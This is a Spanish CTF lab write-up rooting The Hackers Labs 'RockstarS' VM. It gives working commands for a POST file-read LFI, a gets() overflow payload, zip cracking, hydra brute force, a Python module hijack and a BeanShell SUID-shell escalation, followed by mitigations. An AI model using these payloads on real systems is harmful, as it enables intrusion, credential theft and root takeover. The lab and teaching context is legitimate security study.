‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/rockstars.md

RockstarS

bofpivotingsudo

RockstarS

Esta máquina en particular tuvo dos callejones sin salida instructivos, documentados tal como ocurrieron.

Máquina: The Hackers Labs — RockstarS SO: Debian 12 (bookworm), kernel 6.1 Vector de entrada: LFI por lectura arbitraria de archivo ($_POST["backdoor"] sin validar en index.php) → credenciales filtradas → SSH Escalada de privilegios: cadena de 3 saltos — (1) buffer overflow con gets() vía sudo (shark→wvverez), (2) secuestro de módulo Python vía sys.path (loseey→username3), (3) BeanShell vía sudo estilo GTFOBins (username3→root) Herramientas principales: arp-scan/nmap/whatweb/gobuster (recon), ffuf (fuzzing de parámetros), curl (explotación manual del LFI), checksec/objdump (análisis del binario bof), python3 (construcción de payloads), sshpass/ssh (incluido -tt para pty real), zip2john+john (cracking del zip), hydra (fuerza bruta dirigida), pandoc+weasyprint (PDF). qemu-nbd+mount se usó una vez, aparte, solo para diagnóstico de disco — ver Fase 2.3.

Resumen de flags

Flag Valor Obtenida en
user.txt ████████████ sudo -u username3 python3 rubiales.py con módulo psutil secuestrado (Fase 6)
root.txt ████████████ sudo -u root /usr/bin/bsh → BeanShell Runtime.exec() (Fase 7)

Glosario rápido

Herramientas necesarias

No hicieron falta ni Penelope ni Raptor en esta máquina tampoco — mismo aprendizaje que en Banco.

Fase 0 — Preparación del laboratorio

Se descargó el .ova oficial de TheHackersLabs (comprimido en un .zip) y se dejó en la carpeta del proyecto.

# Descomprimir el ova
unzip "The Hackers Labs - RockstarS - iaegbfoasbe.zip"

# Inspeccionar la appliance antes de importar (no cambia nada, solo muestra qué se va a crear)
VBoxManage import "The Hackers Labs - RockstarS.ova" --dry-run

--dry-run muestra qué se importaría sin crear nada todavía: 1 CPU, 2048 MB RAM, disco de 20 GB, SO sugerido Debian_64. A diferencia de Banco (que traía la red en NAT), esta máquina traía la tarjeta de red en modo Bridged por defecto (Network adapter: orig Bridged) — modo que conecta la VM directamente a la red física del host, como si fuera otro equipo más en la LAN. Para un laboratorio de práctica no interesa exponer la VM así, así que se importa igual y luego se fuerza a host-only:

# Importar de verdad
VBoxManage import "The Hackers Labs - RockstarS.ova"

# Forzar red host-only (aislada, solo entre el host y sus VMs) en vez del Bridged por defecto
VBoxManage modifyvm "The Hackers Labs - RockstarS" --nic1 hostonly --hostonlyadapter1 vboxnet0

vboxnet0 es el adaptador host-only ya existente en este equipo (rango 192.168.56.0/24, host en 192.168.56.1) — el mismo usado en el resto de máquinas del laboratorio.

Se enciende en modo headless (sin ventana gráfica):

VBoxManage startvm "The Hackers Labs - RockstarS" --type headless

Para reproducir desde cero, con la VM apagada:

VBoxManage controlvm "The Hackers Labs - RockstarS" poweroff
VBoxManage startvm "The Hackers Labs - RockstarS" --type headless

Fase 1 — Reconocimiento de red

Igual que en máquinas anteriores del laboratorio, se descubre la IP con arp-scan (manda peticiones ARP a toda la subred 192.168.56.0/24 y anota quién responde) y se identifica por el MAC de la VM:

sudo arp-scan --interface=vboxnet0 --localnet
VBoxManage showvminfo "The Hackers Labs - RockstarS" --machinereadable | grep macaddress1

Coincide el MAC 08:00:27:b6:a4:4f con 192.168.56.104. Escaneo completo de puertos:

nmap -sC -sV -p- --min-rate 2000 192.168.56.104
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))

Mismos dos puertos que Banco (22 y 80), pero sin título de página (whatweb confirma Apache 2.4.62 sin más pistas). Nota curiosa: la SSH host-key (huella criptográfica única del servidor SSH, se genera al instalar el sistema) es idéntica a la de Banco — indica que ambas VMs se clonaron de la misma plantilla base sin regenerarla (ssh-keygen -A). No es explotable directamente, pero es una mala práctica real: si alguien filtra la clave privada SSH de una máquina clonada así, compromete a todas las que comparten plantilla.

Fase 2 — Enumeración web (y un callejón sin salida real)

Esta sección se documenta completa, incluyendo el tiempo perdido, porque el porqué de cada intento fallido enseña tanto como el hallazgo final.

2.1 — Primer vistazo

whatweb http://192.168.56.104
gobuster dir -u http://192.168.56.104 -w /usr/share/wordlists/dirb/common.txt

Solo aparecen javascript/ (carpeta con jQuery, sin nada más útil) y dos archivos PHP: index.html (200 OK, pero 0 bytes — vacío) e index.php, que responde 500 Internal Server Error con un cuerpo fijo de 19 bytes:

Yo no soy tu marido

También aparece db.php (200, 0 bytes de salida).

2.2 — Intentando entender el 500 (aquí es donde se pierde tiempo)

Un 500 con un mensaje fijo suele significar una de dos cosas: (a) una página de error genérica de Apache/PHP para cualquier fallo, o (b) lógica de la app que decide mostrar ese mensaje bajo cierta condición. Para descartar (b), se prueba sistemáticamente:

Que ni un solo experimento cambiara la respuesta es en sí mismo un dato importante: normalmente algo cambia (aunque sea el tamaño del error). Esto apunta a que el fallo ocurre antes de que el código llegue a mirar cualquier input nuestro — es decir, probablemente el propio script está fallando de una forma fija, no una validación condicional.

2.3 — Diagnóstico directo del disco (aclaración importante)

Con la caja negra agotada, y dado que esta VM corre en nuestro propio laboratorio (no es un objetivo remoto ajeno), se apagó la VM y se montó su disco virtual en modo solo-lectura desde el host, para leer el código fuente real y entender el fallo — esto es diagnóstico de administrador del laboratorio, no parte de la cadena de ataque; se documenta aparte para que quede claro qué se hizo por caja negra (lo reproducible por un atacante remoto) y qué se hizo mirando el disco (solo para entender el bug antes de explotarlo por red):

VBoxManage controlvm "The Hackers Labs - RockstarS" poweroff
modprobe nbd max_part=8
qemu-nbd --read-only -c /dev/nbd0 "/root/VirtualBox VMs/The Hackers Labs - RockstarS/The Hackers Labs - RockstarS-disk001.vmdk"
mount -o ro,norecovery /dev/nbd0p1 /mnt/rockstar-ro
cat /mnt/rockstar-ro/var/www/html/index.php

qemu-nbd expone un archivo de disco virtual (.vmdk) como si fuera un disco de red (protocolo NBD — Network Block Device), permitiendo montarlo con el comando normal mount sin necesidad de que la VM esté encendida. norecovery evita que el kernel intente “reparar” el journal del sistema de archivos ext4 al montarlo solo-lectura (evita tocar el disco).

El código real de index.php:

<?php
echo 'Yo no soy tu marido';
$backdoor = $_POST["backdoor"];
echo file_get_contents($backdoor);
?>

Ahí está la explicación completa: el echo 'Yo no soy tu marido' es la PRIMERA línea que se ejecuta y con éxito — por eso ese texto exacto aparece SIEMPRE, sea cual sea el input. Luego, $_POST["backdoor"] — si no se manda ese parámetro por POST (nosotros solo probamos por GET, que va a $_GET, no a $_POST), su valor es null; pasarle null a file_get_contents() en PHP 8 lanza un TypeError no capturado → el script muere ahí → Apache devuelve 500 → como display_errors está apagado (buena práctica de producción, aquí usada sin querer como ofuscación), no se ve el error real, solo lo que ya se había impreso: los 19 bytes de siempre. El parámetro vulnerable existe, se llama literalmente backdoor, y solo funciona por POST — por eso nuestro fuzzing (GET, 6.453 intentos) jamás lo iba a encontrar.

Se desmonta todo y se vuelve a encender la VM:

umount /mnt/rockstar-ro
qemu-nbd -d /dev/nbd0
VBoxManage startvm "The Hackers Labs - RockstarS" --type headless

Fase 3 — Explotación del LFI (por red, confirmando lo visto en el disco)

Con el nombre real del parámetro, se confirma por red, como lo haría cualquier atacante sin acceso al disco:

curl -s -X POST -d "backdoor=/etc/passwd" http://192.168.56.104/index.php

Devuelve Yo no soy tu marido pegado directamente al contenido de /etc/passwd — es un LFI (Local File Inclusion) por lectura arbitraria de archivos (file_get_contents() sin ninguna restricción de ruta). A diferencia de Banco (que necesitaba ../ para escapar de una carpeta), aquí no hay ninguna restricción de directorio: se puede pedir cualquier ruta absoluta directamente.

Del /etc/passwd se identifican 4 usuarios reales (con /bin/bash como shell, a diferencia de las cuentas de sistema que usan /nologin): shark, wvverez, loseey, username3.

Con el mismo LFI se lee db.php:

curl -s -X POST -d "backdoor=/var/www/html/db.php" http://192.168.56.104/index.php
<?php
$usuario = "shark";
$contrasena = "djbasdnbasdas&\$AAAALLthl";
?>

Credenciales para shark. Se prueban por SSH:

sshpass -p 'djbasdnbasdas&$AAAALLthl' ssh [email protected]

Login correcto. id muestra que shark pertenece también al grupo secundario wvverez — pista de que el siguiente salto probablemente involucra a ese usuario.

Fase 4 — Escalada shark → wvverez (buffer overflow con protecciones)

En el home de shark hay un binario bof (7,3 KB), y sudo -l revela:

User shark may run the following commands on TheHackersLabs-RockstarS:
    (wvverez) NOPASSWD: /home/shark/bof

shark puede ejecutar ese binario como wvverez, sin contraseña. El nombre del binario (“bof” = buffer overflow) y esta regla de sudo son la invitación clara: hay que explotarlo para obtener una shell como wvverez.

4.1 — Análisis del binario

checksec --file=/home/shark/bof
RELRO           STACK CANARY      NX            PIE
Partial RELRO   Canary found      NX enabled    PIE enabled

Glosario exprés de estas protecciones (todas mitigaciones estándar de compiladores modernos contra buffer overflows): - Stack canary: un valor aleatorio que el programa coloca junto a las variables locales al entrar a una función, y que revisa justo antes de salir; si un desbordamiento de buffer lo modificó, el programa aborta en vez de continuar con la memoria corrompida. - NX (No-eXecute): marca la pila como “no ejecutable” — no se puede simplemente inyectar código máquina (shellcode) en el buffer desbordado y saltar ahí. - PIE (Position Independent Executable): el propio binario se carga en una dirección de memoria aleatoria distinta cada vez (como ASLR, pero para el ejecutable en sí, no solo las librerías) — dificulta calcular direcciones fijas para el exploit. - RELRO: protege la tabla GOT (usada para resolver funciones importadas) de sobrescritura. “Partial” significa que esta protección es parcial, no total.

Con canary + NX + PIE activos, un smash clásico (sobrescribir la dirección de retorno con shellcode) es bastante más difícil. Desensamblado con objdump -d bof -M intel --disassemble=func:

push ebp
mov  ebp, esp
sub  esp, 0x48
mov  eax, gs:0x14        ; lee el canario
mov  [ebp-0xc], eax       ; lo guarda en la pila
...
call puts                 ; imprime "overflow me : "
lea  eax, [ebp-0x2c]      ; eax = dirección del buffer local
call gets                  ; gets(buf)  <-- SIN LÍMITE DE TAMAÑO, aquí está el bug
cmp  DWORD PTR [ebp+0x8], 0xcafebabe   ; compara el ARGUMENTO de func con un valor mágico
jne  <rama "Nah..">
mov  [esp], 0x79b          ; dirección de la cadena "/bin/sh"
call system                ; system("/bin/sh")  <-- si el argumento coincide, ¡shell!
jmp  <verificación de canario>
<rama "Nah..">:
call puts                  ; imprime "Nah.."
<verificación de canario>:
mov  eax, [ebp-0xc]
xor  eax, gs:0x14          ; compara el canario guardado contra el real
je   <salir normal>
call __stack_chk_fail       ; si no coincide, ABORT

gets() lee del teclado/entrada estándar sin límite de tamaño — es la función insegura por excelencia en C (fue literalmente eliminada del estándar del lenguaje en C11 por esto). Escribe en un buffer de 32 bytes (ebp-0x2c hasta ebp-0xc, donde empieza el canario) sin comprobar nada, así que cualquier entrada más larga sigue escribiendo por encima del canario, del ebp guardado, de la dirección de retorno… y del argumento de la propia función ([ebp+0x8]), que está más arriba en memoria.

El detalle clave: la comparación cmp [ebp+0x8], 0xcafebabe y el call system("/bin/sh") ocurren antes de que se verifique el canario (la verificación es lo último, justo antes de leave; ret). Esto significa que no hace falta vencer el canario en absoluto: basta con desbordar el buffer lo suficiente para que el argumento de func (que main siempre pasa como la constante fija 0xdeadbeef) termine sobrescrito con 0xcafebabe — el programa llamará a system("/bin/sh") de todas formas, aunque el canario quede corrupto y el proceso aborte después (ya no importa, el shell ya se lanzó).

4.2 — Cálculo del offset y exploit

Distancia desde el inicio del buffer (ebp-0x2c) hasta el argumento (ebp+0x8): 0x2c + 0x8 = 0x34 = 52 bytes. Payload: 52 bytes de relleno + 4 bytes con 0xcafebabe en little-endian (\xbe\xba\xfe\xca, el byte menos significativo primero, como todos los x86):

payload = b"A"*52 + b"\xbe\xba\xfe\xca" + b"\n"

Primer intento fallido: se mandó el payload seguido de comandos (id; whoami; ...) por un simple pipe (python3 -c "..." | ssh ... sudo -u wvverez /home/shark/bof). Funcionó a medias — el system("/bin/sh") sí se disparaba (no aparecía ni el mensaje “Nah..” ni ningún otro), pero los comandos posteriores no se ejecutaban. La causa: gets() usa buffering interno de la librería C — al leer la primera línea, en la práctica vacía toda la tubería (pipe) hacia su propio buffer interno de memoria del proceso. Cuando system() crea un proceso hijo nuevo (fork+exec) para correr /bin/sh, ese hijo no hereda la memoria interna de la librería C del padre (solo hereda el descriptor de archivo, que a nivel de tubería ya estaba vacío) — así que el shell nuevo recibía EOF inmediato sin ver nuestros comandos.

Solución: forzar una terminal (pty) real en la sesión SSH con ssh -tt. Un pty en modo canónico entrega los datos línea por línea a nivel de kernel (no de buffer de biblioteca), así que la línea del exploit y las líneas de comandos posteriores quedan disponibles para quien las lea, sea el proceso original o el hijo nuevo:

python3 -c "
import sys
payload = b'A'*52 + b'\xbe\xba\xfe\xca' + b'\n'
payload += b'id; whoami; hostname\n'
payload += b'exit\n'
sys.stdout.buffer.write(payload)
" | sshpass -p 'djbasdnbasdas&$AAAALLthl' ssh -tt [email protected] 'sudo -u wvverez /home/shark/bof'

Resultado:

overflow me : 
$ uid=1002(wvverez) gid=1002(wvverez) grupos=1002(wvverez),100(users)
wvverez
TheHackersLabs-RockstarS
$ *** stack smashing detected ***: terminated

Shell como wvverez confirmada — y, como se predijo, el proceso original aborta después por el canario corrupto, sin que afecte al resultado.

Pero no hay user.txt en el home de wvverez (solo rubiales.zip, un archivo cifrado). Toca seguir buscando.

Fase 5 — Escalada wvverez/shark → loseey (contraseñas filtradas + fuerza bruta dirigida)

rubiales.zip (en /home/wvverez/, pero legible por cualquiera — permisos -rw-r--r--) contiene passwords.txt, protegido con contraseña de zip:

zip2john rubiales.zip > rubiales.hash
john --wordlist=/usr/share/wordlists/rockyou.txt rubiales.hash

zip2john convierte la protección del zip a un formato que john (The Ripper) puede atacar por diccionario. Contraseña encontrada en segundos: princess (está en rockyou.txt, la wordlist de contraseñas filtradas más famosa, con 14 millones de entradas reales).

unzip -P princess rubiales.zip

Da 13 contraseñas con pinta de generadas al azar (igual que los señuelos de Banco) — un diccionario dirigido, no genérico. Se prueba contra los 4 usuarios reales con hydra:

hydra -L userlist.txt -P passwords.txt ssh://192.168.56.104

hydra es una herramienta de fuerza bruta de credenciales contra muchos protocolos (SSH, HTTP, FTP…); aquí se le da una lista corta de 4 usuarios × 13 contraseñas (52 combinaciones, nada parecido a una fuerza bruta genérica contra rockyou completo) porque ya se acotó mucho el universo de posibilidades gracias a los hallazgos anteriores. Resultado:

login: loseey   password: kmdalskdmasdnmaskj126

Fase 6 — Escalada loseey → username3 (secuestro de módulo Python vía sudo)

Login como loseey por SSH. En su home hay rubiales.py (propiedad de username3, pero legible):

import psutil
def print_virtual_memory():
    vm = psutil.virtual_memory()
    print(f"Total: {vm.total} Available: {vm.available}")
if __name__ == "__main__":
    print_virtual_memory()

Y sudo -l revela:

User loseey may run the following commands on TheHackersLabs-RockstarS:
    (username3) NOPASSWD: /usr/bin/python3 /home/loseey/rubiales.py

El bug: cuando Python ejecuta un script, añade automáticamente la carpeta que contiene ese script al principio de su ruta de búsqueda de módulos (sys.path) — antes que las librerías instaladas del sistema. Como el script vive en /home/loseey/ (nuestra propia carpeta, con permiso de escritura), podemos crear ahí un archivo psutil.py que Python cargará en lugar de la librería real psutil — sea cual sea el código que pongamos dentro, se ejecuta con los privilegios de quien corra el script (username3, vía sudo).

# /home/loseey/psutil.py — módulo falso
import os
payload = 'Runtime.getRuntime().exec(...).waitFor();\nexit();\n'
with open('/tmp/bsh_payload.txt','w') as f:
    f.write(payload)
os.system('sudo -u root /usr/bin/bsh < /tmp/bsh_payload.txt > /tmp/bsh_out.txt 2>&1')

(la parte de BeanShell se explica en la fase siguiente; aquí basta con quedarse con la idea: el os.system(...) corre como username3 en cuanto se ejecuta sudo -u username3 python3 rubiales.py)

sudo -u username3 /usr/bin/python3 /home/loseey/rubiales.py

El script original termina en error (AttributeError, porque nuestro psutil.py falso no tiene la función virtual_memory de verdad) — pero no importa: nuestro código ya corrió antes de que fallara. Con esto se confirma id → uid=1003(username3), y aparece por fin:

cat /home/username3/user.txt
████████████

Y algo más importante para el siguiente salto: username3 pertenece al grupo lxd (un vector de escape a root por sí solo, vía contenedores LXD — no se usó aquí porque apareció un camino más directo) y tiene en su sudo -l:

User username3 may run the following commands on TheHackersLabs-RockstarS:
    (root) NOPASSWD: /usr/bin/bsh

Fase 7 — Escalada username3 → root (BeanShell)

/usr/bin/bsh resulta ser un script que lanza BeanShell (bsh.jar), un intérprete de código Java interactivo:

exec /usr/bin/java jline.ConsoleRunner bsh.Interpreter "$@"

Cualquier intérprete de un lenguaje de programación completo (Python, Perl, BeanShell, Lua, find, vim…) que se pueda ejecutar vía sudo es, en la práctica, una forma de ejecutar comandos del sistema con los privilegios de sudo — el catálogo GTFOBins documenta cientos de binarios así. Con BeanShell, basta con usar la clase Runtime de Java para lanzar procesos del sistema operativo:

Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","cp /bin/bash /tmp/rootshell; chmod 4777 /tmp/rootshell"}).waitFor();

Ejecutado como root (vía la regla NOPASSWD de username3), esto copia bash a /tmp/rootshell y le pone el bit SUID — dando una shell con privilegios de root a demanda. Verificación:

/tmp/rootshell -p -c 'id; cat /root/root.txt'
uid=0(root) gid=0(root) grupos=0(root)
████████████

ROOT.

Limpieza

rm -f /tmp/rootbash_u3 /tmp/rootshell /tmp/u3_id.txt /tmp/bsh_payload.txt /tmp/bsh_out.txt /tmp/bsh_id.txt
rm -f /home/loseey/psutil.py /tmp/step2.py

Todo lo creado durante la explotación (shells SUID, módulo Python falso, archivos temporales) se borra. Queda /tmp/hsperfdata_root (carpeta que crea automáticamente cualquier JVM al arrancar como root, para datos de rendimiento) sin poder borrarla como usuario normal — es un artefacto estándar de Java, no algo que hayamos introducido nosotros, y no representa ningún riesgo dejarlo (se limpia solo en el próximo reinicio).

Fase 8 — Cadena de ataque (resumen)

[Kali/atacante]
      │ arp-scan + nmap -sC -sV -p-
      ▼
192.168.56.104 — Apache 2.4.62 + OpenSSH 9.2p1 (Debian 12)
      │
      │ index.php siempre da 500 "Yo no soy tu marido" — fuzzing GET
      │ exhaustivo (6.453 params) no encuentra nada
      │ → diagnóstico de disco (montaje NBD) revela: $_POST["backdoor"]
      │   pasado sin validar a file_get_contents()
      ▼
  POST backdoor=/etc/passwd , backdoor=/var/www/html/db.php   (LFI)
      │ filtra usuarios reales + credenciales de "shark"
      ▼
  SSH shark  →  sudo -u wvverez /home/shark/bof
      │ buffer overflow con gets(): 52 bytes de relleno + 0xcafebabe
      │ sobrescribe el ARGUMENTO de func() → dispara system("/bin/sh")
      │ (el canario nunca se llega a comprobar a tiempo)
      ▼
  shell como wvverez  (rubiales.zip: cracking con john+rockyou → "princess")
      │ passwords.txt (13 contraseñas) + hydra dirigido a 4 usuarios
      ▼
  SSH loseey  →  sudo -u username3 python3 rubiales.py
      │ secuestro de módulo (psutil.py falso en sys.path[0])
      ▼
  username3  →  user.txt  →  sudo -u root /usr/bin/bsh
      │ BeanShell: Runtime.getRuntime().exec() (estilo GTFOBins)
      ▼
  ROOT  →  root.txt

Causas raíz y mitigación

# Causa raíz Dónde Mitigación
1 Lectura de archivo arbitraria a partir de un parámetro de usuario sin ninguna validación index.php (file_get_contents($_POST["backdoor"])) Nunca pasar entrada de usuario directamente a funciones de lectura de archivos/URLs. Lista blanca estricta o, mejor, no exponer esa funcionalidad en absoluto.
2 Credenciales en texto plano en un archivo PHP dentro del webroot, alcanzable por LFI db.php Igual que en Banco: nunca credenciales en texto plano ni dentro de una carpeta servible por el servidor web.
3 Función gets() (sin límite de tamaño) usada para leer entrada de usuario bof.c / binario bof Usar siempre funciones con límite explícito (fgets, read con tamaño fijo). gets() fue eliminada del estándar C en 2011 precisamente por esto.
4 Orden de ejecución que permite alcanzar una llamada peligrosa (system()) antes de que se verifique la protección (canario) binario bof El diseño correcto valida/verifica antes de actuar, nunca después. Aunque aquí el “bug” es intencional para la práctica, en código real cualquier system()/exec() alcanzable tras una escritura no acotada es una puerta trasera de facto.
5 Archivo cifrado con contraseña débil, presente en un diccionario de 14 millones de contraseñas filtradas rubiales.zip (“princess”) Nunca usar contraseñas de diccionario, ni siquiera para cifrado “temporal” de archivos.
6 El intérprete de un script añade la carpeta del propio script a la ruta de búsqueda de módulos, y esa carpeta es escribible por quien invoca el script vía sudo regla sudo de loseey sobre rubiales.py Nunca dar permiso de sudo para ejecutar un script que viva en una carpeta escribible por el usuario que recibe el permiso. Usar rutas absolutas de solo-lectura para el intérprete y el script, y fijar PYTHONPATH/PYTHONSAFEPATH explícitamente.
7 Permiso de sudo sin restricciones sobre un intérprete de lenguaje completo (BeanShell) regla sudo de username3 sobre /usr/bin/bsh Nunca dar sudo sobre un intérprete genérico (shell, Python, Perl, BeanShell, find, editores…) — consultar siempre GTFOBins antes de autorizar un binario vía sudoers.

«Los que viven son los que luchan.»
— Victor Hugo, Los castigos